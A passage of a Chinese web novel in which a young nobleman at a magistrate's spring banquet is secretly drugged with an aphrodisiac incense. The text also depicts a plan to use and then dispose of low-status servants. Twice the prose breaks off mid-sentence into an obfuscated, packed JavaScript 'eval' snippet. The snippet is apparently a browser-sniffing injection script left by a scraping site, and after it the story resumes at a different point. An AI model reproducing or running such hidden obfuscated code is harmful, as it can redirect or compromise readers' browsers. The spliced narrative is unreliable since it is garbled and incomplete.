瞧见身旁的郑寻景凝眉面露不耐,加之今日赏春宴才是要紧事,言奉灵没做耽搁以不便说话为由迅速地应付完那群人后,同前者一起入了太守府。 出于礼数与传统,太守府这次的赏春宴在惜河两岸分别设了女席与男席。 女席在东,男席则在西,距离不远不近。 待言郑两人由太守府下人领着,行到假山分叉路时,言奉灵蓦地停下了脚步。 随后,他徐然转身,冲着身后一直沉默无闻跟着他们的年轻女人,柔柔行了一礼,语声缓慢道:“稍后再见,余小姐。” 话音落下,言奉灵见对方果真立刻驻了足。余从姝显然听懂了他话中的别意,一连往后退了几步,方微微躬身回礼。 年轻女人的话声中除却感激,还透着一板一眼的客气:“多谢。” 彼时,郑寻景才后知后觉,余从姝应当从没参加过这类宴席,身边也没有个仆从指引,竟跟着自己往男宾席这边来了。 他随即指派了个郑府小厮给对方,犹豫几瞬后又低低道了句:“你、你自己注意着些。” 言奉灵正含笑凝着对面人,郑寻景此话一出,他清晰地将余从姝面上的反应尽数纳入眼底。 只见对方先是一怔,似是对郑寻景的主动关心而感到意外,而后眉梢微微上扬,回答时的语气虽还算克制却仍流露出了些许激动。 “好。” 停顿几瞬后,余从姝又朝郑寻景极浅地弯了弯唇,清冷凤眼中旋即漾起柔波来,面上浮现一抹淡如烟云般的微红,低低又添了句:“你也是。” 一旁的言奉灵深深望着这幕,面色笑意依旧,宽袖下的十指却不由地越收越紧。 脖颈上的淤红发起烧来,痛得他几欲窒息。 18.十八个好妻主 晌午时分,春宴正式开始。 此时春阳暖融,河风清凉,柔弱绿柳垂下万千碧丝绦,在风中微微浮动。鸟雀争鸣、新燕啄泥,无数蜜蜂蝴蝶在河两岸开得灿烂的姹紫嫣红中翩跹起舞。 河中央稳稳停泊着两只画舫,皆朱栏碧瓦、彩绘流丹。 其中一只舫内不断有悦耳丝竹声从中传出,另一只的顶棚上则站着七八位舞伎正随着乐声轻盈起舞。 一派富足祥和景象。 “景儿近日同你那未婚妻主相处得如何了?” 将随着太守招呼好宾客回男宾席休息的太守夫,坐下的第一件事便是看向席位距自己最近的蓝衣儿郎,语气关切。 “方才我仔细瞧了她几眼,是个品貌端正的好孩子。” 说起来,太守夫乃是郑寻景远方表舅,两家人平日里便常来往,是以前者才这般关心他。 下方坐着的郑寻景闻言吃点心的动作一顿,缓缓吞下后答说:“还行,舅舅。” 他兴致缺缺,显然不想旁人提及此事。 太守夫见状叹了口气,耐着性子劝道:“你母亲这么多年阅人无数,她既让那姑娘入了府,心中便是认了这门婚事,你又何必与她僵持不下,平白伤了长辈的心呢。” 郑寻景闻言低垂着头,看似是在因这番话而沉默愧疚,可席案下紧扣着的双手以及逐渐湿红却倔强的双眼,都在昭示着——他不认可。 他不认可对方说的每一个字。 凭什么长辈们随口许下的承诺,却要他葬送一生来兑现? 凭什么余从姝来求娶,他便一定要嫁给她? 总有人劝说他要接受这门婚事接受余从姝,却从未有人真正考虑过他的意愿他的感受。 母亲面上虽说不逼迫,可转头便将余从姝接入府内,不停地给对方创造机会,明里暗里向他施压。 父亲表面上同自己站在一起,可实际上也早就倒戈向了母亲,想借势断了他学医的念想,一直以他自降身价主动学医为耻...... 无论府内还是府外,每个人都想要他屈服。 他们越是如此,他就越偏不。 他郑寻景此生,绝不会为了任何一人,而放弃学医。 日后他不仅要学医,他还要免费为人治病,让所有男子都免于难产...... 郑寻景到这儿,心中忽然升起一股没由来的勇气。他倏地抬头,对着上首望着自己的太守主君,坚定道:“我不喜欢余从姝,我以后也定不会嫁给她。” 太守夫闻言皱眉,声音不自觉沉了下去:“你说什么?” 郑寻景挺直了脊背,直视向他:“我说、” 谁知他话刚一开口,便被身侧的言奉灵给打断了。 “主君,大好时光只聊天不赏春岂不可惜,灵在这里斗胆敬您一杯。” 说着,青年施然起身,自一旁端酒小侍中接过酒盏,恭敬举在身前。 太守夫见是言奉灵在同自己搭话,面上被小辈忤逆的不悦旋即褪去了大半,神情和煦语气欣赏道:“多日不见,言公子出落得愈发亭亭玉立、光彩照人了。” 说着,他目光落在了青年挽着白缎的脖颈,语气关切:“听说你这嗓子是侍疾辛苦才哑掉的?” 言奉灵摇了摇头,微垂着眼睫语气温婉乖顺:“回主君,母父之恩、子女当孝,不辛苦。” 一句话听得太守夫心情更加舒畅,当即道:“来人,将府库里那只上等赤芝拿来,赠予言公子。” 见他面露惊讶之色,太守夫笑着解释:“如今像你这般严秉母为子纲、凡母父之事事必躬亲的年轻人已然不多了,堪作典范,当奖。” 坐上太守夫说着,举起桌上酒盏与他相对。 言奉灵率先作饮,冰凉酒液甫一入口,他便被其中馥郁到堪称怪异的花香激得蹙了下眉,迟疑几瞬后,才缓缓咽了下去。 “谢主君赏。” 经由言奉灵这么一岔,太守主君不再紧抓着郑寻景的婚事不放,却也没再给他任何眼神。 郑寻景得了清净,拉了拉身旁言奉灵的衣袖,用口型向他道了声谢。 此时对方手中正拿着叠太守府下人刚呈上的纸页在翻看,郑寻景探身过去瞧了眼发现是对面女席那些人所做的诗词。 赏春宴上,比起规矩繁多不便随意走动的男宾,女宾那边要更加开放自在许多。 不仅会有飞花令、投壶射箭、吹箫抚琴、对弈手谈等活动,每玩完一局还会有下人记录细节以及各个女宾的成绩表现,最后连带着所做诗词原稿,一同送到男宾这边供其欣赏。 也因此,往年总有几对因诗结缘的女男,最后喜结连理特意上门拜谢。 这也是为何太守府每年都会按时举办赏春宴且只邀请年轻贵女、公子,不过也是为了给这群年轻人互相相看创造一个合适的机会,最后无论成与不成,皆对太守府有益无害。 言奉灵道了句‘无妨’,随后状似随意地问郑寻景:“对了,你那日说自己落下了次医理课后来怎么样了,夫子有帮你补回来吗?” 后者摇头:“没有,不过我前几日偶然在花苑捡到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不过很快,郑寻景便被青年面上那有些不正常的红晕吸引了注意力,不禁问道:“你这是贪杯了吗,花酒虽甜却性寒,我们男子不能多饮的。” 言奉灵闻言怔了瞬,眸光一闪似是想到了什么,不过随即便又恢复如常。 不待郑寻景细问,便听席间忽然有人叫道。 “快瞧,女宾席那边好像出事了!” 19.十九个好妻主 不久前,太守夫将将随太守离席,侍候后者午休。眼下四周只有几个上了年纪的老爹子看着,气氛无形间自在不少。 此话一出,无聊了半晌的年轻儿郎们各个相携着站起身,争先恐后地挽手并肩朝河堤处走去。 女男席虽分设在惜河两岸,可中间到底有两只画舫相阻隔,男儿家脸皮薄,很少有主动绕过画舫往女宾席那边瞧的,倒是有不少女宾光明正大地往他们这边看。 当下不知是谁喊了这么一句,儿郎们终是好奇压过了矜持,再加上身边这么多人聚在一起,也算不上失仪,于是纷纷往前凑。 随即便又有人叫:“快瞧、快瞧,好像是要比剑,这么大阵仗!” 闻言,郑寻景也有些按捺不住,侧脸看向身边的俊美青年。 言奉灵自是知他所想,从善如流地建议:“左右无事,我们也去瞧瞧吧。” 此话一出,郑寻景立马站起了身,余光瞧见身边人晃了晃随即伸手扶住了对方:“怎的回事,我瞧着你脸好像比方才更红了些,可是有些醉了?” 言奉灵借力稳住了身形,冲他摇头的同时飞快地递给了身侧闰禾一个眼神。对方也早发觉了他的异常,得令后一转身便小跑去取东西了。 郑言二人相携着靠近岸堤时,视野最好的位置已经被莫宇宁几人抢占了。 后者瞧见言奉灵走了过来,立刻殷切地朝他招招手并侧身让出了个空间,显然是提前给他留了位置,且只能容下一人。 青年笑吟吟道了声谢,再次婉拒了对方。 这一来二去,他与郑寻景便只能往前再走几步找合适位置。 郑寻景眼睛有些弱,是打从胎里带出来的毛病,离得若太远看物什便有些模糊。随行的若檀自是知晓这点,于是踮脚努力往对岸瞧去,想及时将情形转述给自家少爷。 不过三两瞬工夫,郑寻景忽地听他压低声音道:“少爷,中间的人好像是余姑娘和霍表小姐,表小姐手中还拎着把剑!” 正心不在焉的言奉灵循声望去,透过对岸层层幢幢的人影,果然寻见了那一抹浅青身形。 只见余从姝此时正兀自端坐着,清瘦纤挑的脊背挺得笔直,面上依旧神情冷淡,正垂眸望着身前小案上摆着的张七弦琴。 而此时站在她对面的,则是个衣饰华贵却满脸怒容的年轻女子,对方手握长剑不断比划还不时冲着余从姝叫嚣几句,架子虽拉得极大,可明眼人一瞧便知其外强中干。 瞧见那阳光下泛着凌凌寒意的剑身,言奉灵下意识呼吸一滞,可随即又慢慢放下心来——太守府守卫严苛,所有用来比试的刀剑都是不得开刃的。 可即便如此,言奉灵仍皱起了眉,再次投向持剑女人的目光里多了几分阴翳。 “她们二人怎么会对上?”郑寻景听了这话,面露诧异之色,努力眯眼想自己去瞧如今是个什么情况,可目及之处的视野总像是蒙了层纱般模模糊糊的,看不真切。 仿佛是故意回答他这句话似的,莫宇宁几人的对话不远不近地传来:“听太守府下人们讲是那霍三娘主动挑衅的余书生,前者本想用对对子侮辱一番后者,没想到余书生竟对了回去,且次次赢得漂亮,霍三娘不服气,这才......” 当即便有人问:“真的假的、这霍三娘好端端的,怎么同余书生杠上了?” “是啊,好端端的,俩人怎么就杠上了,怕不是一方被什么人授意过,抑或是别的什么缘由,哎呀当真难猜......” 莫宇宁叹了口气,话声透着别有深意。 此言一出,立刻便有人或明或暗地朝郑寻景的方向投来目光。 郑寻景当即气红了脸,转头怒视向莫宇宁一群人。 他虽不喜余从姝、不承认与对方的婚约,却从未指使过旁人去为难她。 他不屑做这种事,但也没有好脾性到可以任人污蔑泼脏却骂不还口的程度。 这厢,郑寻景将要拔步去找莫宇宁那群人算账,一长串如松沉水亦如金石相交的凛冽琴音泄出,陡然刺破周围所有喧嚣,霎时将他钉在了原地。 画舫中靡靡之音消散,蜜蜂嗡鸣与蝴蝶振翅的动静停歇,天地万物仿佛在这瞬间凝滞了下来。 温融日光下,言奉灵的一双琥珀色瞳孔缓缓扩大,视线中所有景物都逐渐变得模糊,只有余从姝一人清晰无比。 她淡淡蹙着的眉,垂睫专注的眸,微抿着的颜色浅淡的薄唇。 女人缓慢起手,灿阳下,她腕上的皮肤白到近乎透明。 言奉灵的思绪一下被拽回到了那个混乱的深夜,他不由地翘起唇角,心中泛起盎然的满足与得意。 因为只有他知晓,余从姝那处的皮肤究竟有多么净薄细腻,经脉跳动得有多么有力,自皮肉下透出的芬芳有多么馥郁、溢出的血珠有多么香甜...... 猛地,言奉灵的心脏一颤,喉结空空滚动,舌尖在腔子里不安地搅了搅,反复刮过犬齿后终于尝到了丝熟悉的腥甜,他忙不迭地咽下,却反倒引得愈发焦渴。 不多时,只见余从姝五指轻搭琴弦,指尖熟练地勾、抹、挑、劈、托......汹汹如海浪般的磅礴音声扑面朝众人涌来。 言奉灵死死盯着对方那削葱般的指尖,望着她灵巧抚琴的动作,脑中不受控制地想——若是将琴换成他的身体,余从姝抚.弄时,动作是否也是如此的熟练,神情是冷漠、漫不经心、抑或是认真而温柔...... 此念头一出,几乎是瞬间,一股熟悉的汹涌热潮自青年胸腔流窜到四肢百骸而后皆冲向一处。 言奉灵当即狠咬了下舌尖,才险险克制住自己没有哼吟出声。 然而,河中芰荷在春光照耀下,已颤巍巍抬起了头。 深重呼吸几次后,言奉灵才再次将目光投降对岸,他双手交握搭在腹前,层叠宽袖下是波澜起伏、越酗越涌的热潮。 言奉灵咬紧了舌尖,唇畔笑意愈深。 在余从姝的琴音接近尾声时,闰禾也赶了回来,同时手中还提着只漆黑却做工精巧的箱奁。 在与对方确认过眼神后,言奉灵一把握住了身旁人的手腕,长眉微蹙,语气透着些许虚弱:“寻景,灵忽然有些不舒服,你陪灵走趟西院吧。” 宴前,太守府特意划出西院,专供给男宾们更衣、歇息。 而此时,郑寻景的注意力正全然放在余从姝的琴音上,私心想听到最后,然而还是被言奉灵半是央求半是强迫地拽离了堤岸。 *** 确认房门栓好后,闰禾快速将匣子打开,急切说道:“公子,快验验看,究竟是中了何药?” 不消他提醒,青年便已燃着了香,将自己的指尖血挤滴在了白瓷盘中。 而此时,言奉灵的面色已然很差了,任谁都能一眼瞧出他状态不对劲——向来白皙清透的面容正绯红一片,额角鼻尖则沁满了细密的热汗。 他无力地伏在桌上,嫣红的菱唇被咬得齿痕瘢瘢,胸前层叠的前襟被扯得散乱,桌上茶壶中的凉水也已然见底。 热。自肺腑里透出的热意持续不断地烘烤着青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new 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“公子,不若您先忍一下,我们这便启程回府研制解香。”闰禾当即提议。 言奉灵仔细感受着身体每时每刻的变化,再开口时声音越发有气无力:“来不及了,那晚精血消耗太多,即便是我,超过一个时辰得不到缓解,也会神智失常。” 闰禾一听,意识到此事的严重性或许超出了自己的想象。他打小便侍奉言奉灵左右,自然知晓对方身上最大的秘辛。 ——自八岁后,言奉灵便再未生过一场病,也从不来癸水,因为他身上的每一滴血都弥足珍贵,对己对人都堪称奇药。 按理来讲,焚春香应当对他无效,前提是他精血未损。 闰禾不由地慌张起来:“那、那仆这便去喊府里带的家丁来给公子解香?” 今早临出发前,言奉灵特意点了几个模样还算周正年岁又不大的家丁跟着。 这些人皆出身卑贱、无权无势,十分好控制。万一出了什么事,用过后也可随意处置不生事端。 彼时的言奉灵以为偏枝的目标会是策反替他做事的闰禾,没想到对方竟胆大包天到直接将算盘打到了他头上...... 青年用力闭了闭眼:“仲楸呢?” “回公子,已然按你的吩咐潜进了刚刚那个西院厢房里,只等这背后之人自投罗网了!”闰禾飞快回答。 言奉灵闻言哼笑了声,紧扣着桌角的五指用力到骨节青白,再抬头时一双狐眼血丝密布,其中风雷深酝,俨然已经濒临极限。 下一瞬,只听他沙哑开口:“去,把余从姝找来。” “你知道该怎么做的。”